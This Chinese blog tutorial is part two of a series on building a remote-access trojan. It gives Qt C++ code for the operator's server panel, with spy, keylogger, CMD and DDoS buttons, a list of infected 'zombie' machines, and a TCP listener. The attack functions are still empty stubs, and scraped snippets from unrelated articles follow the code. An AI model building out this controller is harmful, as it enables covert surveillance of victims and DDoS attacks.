从零开始做远控,服务器搭建(二)

(此系列教程谨供学习,禁止用于非法用途)

日期:2016-4-25

问大家个问题,看人家的代码是不是很辛苦,特别是找不到入口的时候?每次遇到问题的时候最希望是上百度或Google直接复制就最方便了,从来都不愿意去理解背后的意思。我就是这样,因为我人比较懒,但学习有时候总要硬着头皮去看别人的代码,呵呵。但吃好东西要细嚼慢咽才能品尝到当中的美味,所以现在开始我会一步一步带着大家细阅代码,放心,我会打好详尽的注释,而且告诉你哪里是入口,这样你的学习就能事半功倍了!

先安装Qt开发环境(虽然我们的远控是针对windows,但Qt是跨平台的,所以服务器端用什么系统开发都可以):

Windows: http://download.qt.io/official_releases/qt/5.6/5.6.0/qt-opensource-windows-x86-mingw492-5.6.0.exe

Linux: http://download.qt.io/official_releases/qt/5.6/5.6.0/qt-opensource-linux-x64-5.6.0.run

好的开始是成功的一半,我们先来弄个简洁的服务端界面:

1。创建项目,我叫他做zero-server

2。创建Qt的资源文件,用来放按钮图片或icon,创建好了就在Project栏里对着resources.qrc右击加入图片路径就可以了

资源文件(图片):http://download.csdn.net/download/sumkee911/9501976

3。第一波代码来袭。。。。入口是Widget构造函数,开始画界面,如果有ZeroServer.cpp相关的代码先不用管他,我们先搞定界面先,那个我在下会讲

(这就是我们的效果图)

Widget.cpp

#include "widget.h"
#include "ui_widget.h"

Widget::Widget(QWidget *parent) :
    QWidget(parent),
    ui(new Ui::Widget)
{
    ui->setupUi(this);

    // 设置窗口
    this->setFixedSize(QSize(800,600));
    this->setWindowTitle("Zero远控");
    this->setWindowIcon(QIcon(":/resources/zero.png"));

    // 工具栏
    // 当你第一次放QPushButton的时候你可能会发现编译不通过,原因是因为你没在头文件中#include <QPushButton>,其他的东西例如QMessageBox也一样,记得要include喔
    // 视屏监控Button
    QPushButton *btScreenSpy = new QPushButton(QIcon(":/resources/screenspy.png"), "视屏监控", this);
    btScreenSpy->setIconSize(QSize(60,60));
    btScreenSpy->setGeometry(QRect(0*160,0,160,80));
    // 这是Qt的信息与槽机制,这段的意思大概就是Qt
    // 记得要先定义好槽,在头文件里的public slots里定义,这么简单的东西我就不详细说了
    // 收到btScreenSpy的clicked消息后就把它发送给clickedScreenSpy的槽(也就是响应函数的意思)
    // 你可以在响应槽中放个 QMessageBox::information(this, "test", "hello world"); 试试效果
    connect(btScreenSpy, SIGNAL(clicked(bool)), this , SLOT(clickedScreenSpy(bool)));
    // 键盘监控Button
    QPushButton *btKeyboardSpy = new QPushButton(QIcon(":/resources/keyboardspy.png"), "键盘监控", this);
    btKeyboardSpy->setIconSize(QSize(60,60));
    btKeyboardSpy->setGeometry(QRect(1*160,0,160,80));
    connect(btKeyboardSpy, SIGNAL(clicked(bool)), this, SLOT(clickedKeyboardSpy(bool)));
    // 文件监控Button
    QPushButton *btFileSpy = new QPushButton(QIcon(":/resources/filespy.png"), "文件监控", this);
    btFileSpy->setIconSize(QSize(60,60));
    btFileSpy->setGeometry(QRect(2*160,0,160,80));
    connect(btFileSpy, SIGNAL(clicked(bool)), this, SLOT(clickedFileSpy(bool)));
    // CMD指令行Button
    QPushButton *btCmdSpy = new QPushButton(QIcon(":/resources/cmdspy.png"), "CMD监控", this);
    btCmdSpy->setIconSize(QSize(60,60));
    btCmdSpy->setGeometry(QRect(3*160,0,160,80));
    connect(btCmdSpy, SIGNAL(clicked(bool)), this, SLOT(clickedCmdSpy(bool)));
    // DDoS攻击Button
    QPushButton *btDdos = new QPushButton(QIcon(":/resources/ddos.png"), "DDoS", this);
    btDdos->setIconSize(QSize(60,60));
    btDdos->setGeometry(QRect(4*160,0,160,80));
    connect(btDdos, SIGNAL(clicked(bool)), this, SLOT(clickedDdos(bool)));

    // 服务器控制组件
    // 肉鸡数量(将 "QLabel *m_lbClientCount" 放到widget.h的class private中,方便以后调用)
    QLabel *lb = new QLabel("肉鸡数量:", this);
    lb->setGeometry(QRect(600,0*40+360,70,30));
    m_lbClientCount = new QLabel("0", this);
    m_lbClientCount->setGeometry(670,0*40+360,120,30);
    // 定时更新肉鸡数量
    QTimer *tmUpdateClientCount = new QTimer(this);
    connect(tmUpdateClientCount, SIGNAL(timeout()), this, SLOT(timeoutUpdateClientCount()));
    tmUpdateClientCount->start(1000);

    // 端口编辑框(同上)
    lb = new QLabel("端口:",this);
    lb->setGeometry(QRect(600,1*40+360, 50, 30));
    m_lePort = new QLineEdit("18000",this);
    m_lePort->setValidator(new QIntValidator(1,65535));
    m_lePort->setGeometry(QRect(650,1*40+360,140,30));
    // 服务器开启Button(同上)
    m_btStart = new QPushButton("启动服务器", this);
    m_btStart->setGeometry(QRect(600,2*40+360, 190, 30));
    connect(m_btStart, SIGNAL(clicked(bool)), this, SLOT(clickedStart(bool)));
    // 服务器停止Button(同上)
    m_btStop = new QPushButton("停止服务器", this);
    m_btStop->setGeometry(QRect(600, 3*40+360, 190,30));
    connect(m_btStop, SIGNAL(clicked(bool)), this, SLOT(clickedStop(bool)));
    m_btStop->setEnabled(false);
    // 创建客户端Button(同上)
    m_btCreate = new QPushButton("创建客户端", this);
    m_btCreate->setGeometry(QRect(600,4*40+360,190,30));
    connect(m_btCreate, SIGNAL(clicked(bool)), this, SLOT(clickedCreate(bool)));

    // 当前肉鸡列表(将 "QTableWidget m_twClient" 放到widget.h的class private中,方便以后调用)
    m_twClient = new QTableWidget(this);
    m_twClient->setGeometry(QRect(4,84,580,510));
    // 插入列名
    m_twClient->setColumnCount(4);
    m_twClient->setHorizontalHeaderItem(0, new QTableWidgetItem("用户名"));
    m_twClient->setColumnWidth(0, 120);
    m_twClient->setHorizontalHeaderItem(1, new QTableWidgetItem("公网IP"));
    m_twClient->setColumnWidth(1, 170);
    m_twClient->setHorizontalHeaderItem(2, new QTableWidgetItem("内网IP"));
    m_twClient->setColumnWidth(2, 170);
    m_twClient->setHorizontalHeaderItem(3, new QTableWidgetItem("系统型号"));
    m_twClient->setColumnWidth(3, 100);

    // 初始化服务器(所有关于服务器的可以先忽略掉,下面我们会再讲, 你们先搞定上面的控件)
    m_server = new ZeroServer(reinterpret_cast<QTcpServer*>(this));
    connect(m_server, SIGNAL(serverStarted()), this, SLOT(serverStarted()));
    connect(m_server, SIGNAL(serverStoped()), this, SLOT(serverStoped()));
}

Widget::~Widget()
{
    delete ui;
}

void Widget::clickedScreenSpy(bool)
{
    QMessageBox::information(this, "test", "hello world");
}

void Widget::clickedKeyboardSpy(bool)
{

}

void Widget::clickedFileSpy(bool)
{

}

void Widget::clickedCmdSpy(bool)
{

}

void Widget::clickedDdos(bool)
{

}

void Widget::clickedStart(bool)
{
    m_server->startServer(m_lePort->text().toInt());
}

void Widget::clickedStop(bool)
{
    m_server->stopServer();
}

void Widget::clickedCreate(bool)
{

}

void Widget::timeoutUpdateClientCount()
{

}

void Widget::serverStarted()
{
    // 禁止开启按钮,允许停止按钮
    m_btStart->setEnabled(false);
    m_btStop->setEnabled(true);
}

void Widget::serverStoped()
{
    // 禁止停止按钮,允许开启按钮
    m_btStart->setEnabled(true);
    m_btStop->setEnabled(false);
}

Widget.h

#ifndef WIDGET_H
#define WIDGET_H

#include <QWidget>
#include <QPushButton>
#include <QLineEdit>
#include <QIntValidator>
#include <QLabel>
#include <QTableWidget>
#include <QMessageBox>
#include <QTimer>
#include "zeroserver.h"

namespace Ui {
class Widget;
}

class Widget : public QWidget
{
    Q_OBJECT

public:
    explicit Widget(QWidget *parent = 0);
    ~Widget();

private:
    Ui::Widget *ui;

    // 控件们
    QLineEdit *m_lePort;
    QPushButton *m_btStart;
    QPushButton *m_btStop;
    QPushButton *m_btCreate;
    QTableWidget *m_twClient;
    QLabel *m_lbClientCount;

    // 服务器
    ZeroServer *m_server;

public slots:
    // 控件们的鼠标点击相应槽
    void clickedScreenSpy(bool);
    void clickedKeyboardSpy(bool);
    void clickedFileSpy(bool);
    void clickedCmdSpy(bool);
    void clickedDdos(bool);
    void clickedStart(bool);
    void clickedStop(bool);
    void clickedCreate(bool);

    // 人数更新 m_lbClientCount
    void timeoutUpdateClientCount();

    // 服务器开启与关闭槽,负责接受服务器开启或关闭后接收的消息
    void serverStarted();
    void serverStoped();
};

#endif // WIDGET_H

开始写服务器代码了:

1。先创建个名叫ZeroServer的类

2。要生效网络必须再.pro文件里加入 Qt += network

3。第二波代码来袭,头文件里你必须要跟我一样加上Q_OBJECT,还要修改一下构造函数,不然信号与槽无法使用

ZeroServer.h

#ifndef ZEROSERVER_H
#define ZEROSERVER_H

#include <QObject>
#include <QTcpServer>
#include <QDebug>

class ZeroServer : public QTcpServer
{
    Q_OBJECT
public:
    ZeroServer(QTcpServer *parent=0);

    // 开启服务器
    void startServer(const int port);
    // 停止服务器
    void stopServer();

signals:
    // 当服务器停止后发送的信号
    void serverStarted();
    // 当服务器开始后发送的信号
    void serverStoped();

protected:
    // 有新连接时的地方
    virtual void incomingConnection(qintptr socketDescriptor);
};

#endif // ZEROSERVER_H

ZeroServer.cpp

#include "zeroserver.h"

ZeroServer::ZeroServer(QTcpServer *parent):QTcpServer(parent)
{

}

void ZeroServer::startServer(const int port)
{
    try {
        // 开始监控
        if ( !listen(QHostAddress::Any,  port) ) {
            throw QString("Failed to listen, error code=%1").arg(errorString());
        }
        // 发送服务器已启动信号
        emit serverStarted();
    } catch(QString &err) {
        qDebug() << err;
    }
}

void ZeroServer::stopServer()
{
    close();
    // 发送服务器已停止信号
    emit serverStoped();
}

void ZeroServer::incomingConnection(qintptr socketDescriptor)
{
    // 你可以用telnet连接看看
    qDebug() << "test: Got connection";
}

完整源码:http://download.csdn.net/download/sumkee911/9501981

最后:

今天到这里先,再见!

时间: 2024-10-14 11:29:34

从零开始做远控,服务器搭建(二)的相关文章

晚安西南-----远控房魅影二之FKQ1440-14

序言: 在本系列文章中,已详细介绍过了FKQ6407这台远控房,其实此型号的远控房已满足了之前区块井的施工,井口封井器加上一个液动4号,此型号的远控房最多控制5个对象.而本次施工的探井,至三开所需要控制的对象有9个,其中井口为双双闸板加环形的5组合,其实就是闸板中多了一副剪切,再加上双105MPa节流管汇.单压井管汇.放喷管线,那么设计上这四条直通管到管汇前都必须带一只液动平板阀,也正因为这个原因,本次所配备的远控房型号应该算是陆地上最高规格的FKQ1440-14.它拥有着豪华的配置,24只60

LFS 8.3 从零开始做自己的系统(二)~!~

六.构建LFS系统 1.准备虚拟内核文件系统 1)创建将挂载文件系统的目录:mkdir -pv $LFS/{dev,proc,sys,run}2)创建设备节点:mknod -m 600 $LFS/dev/console c 5 1mknod -m 666 $LFS/dev/null c 1 33)安装和填充/开发:mount -v --bind /dev $LFS/dev4)挂载虚拟内核文件系统:mount -vt devpts devpts $LFS/dev/pts -o gid=5,mode

[jk]服务器远控卡及kvm切换器

远控卡的需求 经常我们有这么一个需求,那就是某一台器服务器突然宕机,不能启动,而机房却在外地.解决这个问题的方法有两种,一是联系机房人员,二是通过idrac卡远程连接.我们必须根据事情的轻重缓急,来选择解决办法,毕竟恢复服务正常运行是第一原则.如果这台服务器不是非得马上起来的话(已经做了高可用),我们又想查看具体的宕机原因,那我们就可以通过idrac卡远程连接过去.连接方法如下: 远控卡功能介绍 ,可以传文件,装系统,做电源管理,硬件监控(ipmi)等. 准备工作 1.能够远程访问的BMC地址(

asp.net网站服务器搭建之从零开始

asp.net网站服务器搭建之从零开始 一 IIS(Internet Information Services)安装:  1.选择"控制面板".  2.点"添加或删除程序".   3.选择"添加/删除Windows组件",选中IIS,把系统安装盘放到光驱中,点下一步就可以了.  4. 安装成功后,“控制面板\管理工具”里会有“Internet 信息服务”一项. 二 asp.net环境配置:  下载地址:http://www.cnblogs.com

Active Directory虚拟机搭建域控服务器环境

前言 还是和上一章一样,痛苦过后还是记录下给后来人提供便利为妙. 虚拟机选择:建议Hyper-V或者VMware 系统选择:建议WIindows Server 2003及以上 我这里是使用VMware Workstation Pro,Windows server 2012 R2系统. 虚拟机网络的配置 1.   查看VMware[虚拟网络编辑器],主要查看[NAT模式]. 我这里:NAT模式,VMnet8网络,IP:192.168.241.0.各位根据自己机器分配的IP做下面的操作. 2.配置本

(转)SVN服务器搭建和使用(二)

SVN服务器搭建和使用(二) 原文:http://www.cnblogs.com/xiaobaihome/archive/2012/03/20/2407979.html 上一篇介绍了VisualSVN Server和TortoiseSVN的下载,安装,汉化.这篇介绍一下如何使用VisualSVN Server建立版本库,以及TortoiseSVN的使用. 首先打开VisualSVN Server Manager,如图: 可以在窗口的右边看到版本库的一些信息,比如状态,日志,用户认证,版本库等.要

控制指令高达二十多种:远控木马Dendoroid.B分析报告( 转)

控制指令高达二十多种:远控木马Dendoroid.B分析报告 IT社区推荐资讯 - ITIndex.net Apr 24 近期,360团队截获了一款功能强大的专业间谍软件,它可以通过PC端远程控制中招用户的手机,控制指令高达二十多种,窃取用户手机通讯录,短信,照片及其它重要隐私数据.这个远控木马与去年知名的Android.Dendoroid木马家族手段非常相似,所以我们将其命名为 Android.Dendoroid.B. 一.木马Android受控端恶意行为分析 ‍‍ 1.释放文件,隐藏图标,启

架构之路:nginx与IIS服务器搭建集群实现负载均衡(二)

[前言] 在<架构之路:nginx与IIS服务器搭建集群实现负载均衡(一)>中小编简单的讲解了Nginx的原理!俗话说:光说不练假把式.接下来,小编就和大家一起来做个小Demo来体会一下Nginx的神奇之处. [准备工作] ·安装一款文本编辑器(这里以Notepad++为例) ·下载Nginx(这里以Nginx-1.4.7为例,其他版本操作相同) ·建两个简单网页:在文件夹test1新建一个html页内容为--我是Test1,在文件夹test2新建一个html页内容为--我是Test2) ·将

持续集成(二)工具搭建篇—内网邮件服务器搭建

在我们的持续构建中,项目构建中出现错误提醒,或者开发人员之间的沟通交流,进度汇报的事务,都是离不开一个通信工具,那就是邮件.在我们的项目开发中如果使用第三方的邮件平台,这肯定不是最好的选择,因为第三方的邮件需要外网的支持,但是外网又不是特别的可靠,假如外网链接出现了问题,这样就会不必要的延误我们的工期.再或者很多项目都是保密项目,在开发中只能用内网.但是不用邮件吧又不行.为了解决这个头疼的问题,我们的内网邮件服务器工具就出现了,只要用它安装在我们的服务器上,配置好账户,配置好客户端,在内网里就可